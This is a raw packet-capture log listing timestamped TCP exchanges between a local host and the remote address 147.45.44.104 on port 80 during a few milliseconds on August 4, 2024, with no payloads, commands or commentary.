Aug 4, 2024 02:21:38.088774920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088788033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088804007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088814020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088819981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088838100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088845968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088870049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091568947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091615915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091624022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091638088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091660023 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091665983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091679096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091700077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091706991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091722965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091741085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091747999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091757059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091770887 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091787100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091795921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091810942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091819048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091835022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091846943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091852903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091886044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091902018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091908932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091924906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091929913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091945887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091967106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.091969013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.091990948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092008114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092019081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092024088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092036963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092053890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092068911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092086077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092087984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092108965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092114925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092129946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092139959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092150927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092197895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092269897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092289925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092310905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092314959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092323065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092339993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092360973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092375994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092397928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092413902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092432976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092456102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092464924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092467070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092505932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092524052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092545986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092545986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092550039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092576027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092576027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092597961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092613935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092861891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092881918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092901945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092909098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092921019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092928886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092946053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092957020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092963934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.092979908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.092988968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093003035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093014956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093022108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093034983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093048096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093053102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093071938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093080044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093095064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093105078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093125105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093128920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093146086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093158960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093164921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093178988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093190908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093195915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093214989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093225002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093234062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093247890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093260050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093266010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093281984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093297958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093303919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093321085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093331099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093344927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093367100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093488932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093502045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093527079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093535900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093544960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093556881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093564034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093564987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093576908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093600988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093616009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093622923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093638897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093657970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093679905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093679905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093683004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093704939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093708038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093728065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093728065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093744993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093779087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093800068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093817949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093820095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093820095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093844891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093848944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093863010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093871117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093889952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093893051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093915939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093918085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093934059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093938112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093957901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093965054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.093975067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.093986034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094002962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094006062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094026089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094033957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094036102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094054937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094069004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094079971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094086885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094101906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094114065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094120979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094137907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094146967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094155073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094180107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094479084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094511032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094530106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094548941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094554901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094578981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094580889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094600916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094605923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094620943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094623089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094644070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094646931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094654083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094667912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094691992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094706059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094706059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094711065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094729900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094737053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094749928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094760895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094780922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094799042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094800949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094820976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094826937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094842911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094852924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094871998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094876051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094887972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094894886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094918013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094928980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094935894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094949961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094969988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.094974995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.094985008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095000029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095012903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095036030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095277071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095295906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095315933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095321894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095335007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095375061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095383883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095396042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095413923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095422983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095432997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095446110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095458031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095468044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095479012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095489979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095510960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095515966 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095530987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095531940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095546007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095557928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095575094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095573902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095602036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095603943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095613003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095628023 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095647097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095665932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095674992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095689058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095695019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095710039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095720053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095732927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095741987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095763922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095765114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095778942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095783949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095803022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095810890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095818043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095834017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095849991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095860004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095870018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095875025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095890045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.095897913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.095968008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096213102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096231937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096256018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096268892 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096280098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096287012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096296072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096319914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096326113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096333027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096349001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096371889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096380949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096391916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096401930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096415043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096426010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096440077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096441031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096467972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096474886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096494913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096501112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096523046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096537113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096544981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096559048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096568108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096580029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096592903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096601009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096616030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096628904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096637964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096647978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096662045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096678019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096682072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096693993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096709013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096714973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096731901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096752882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096765041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096774101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096785069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096796036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096811056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096817970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096828938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096842051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096851110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096859932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.096880913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.096889019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097214937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097244978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097259998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097264051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097280025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097290039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097297907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097313881 CEST	80	49757	147.45.44.104	192.168.2.4
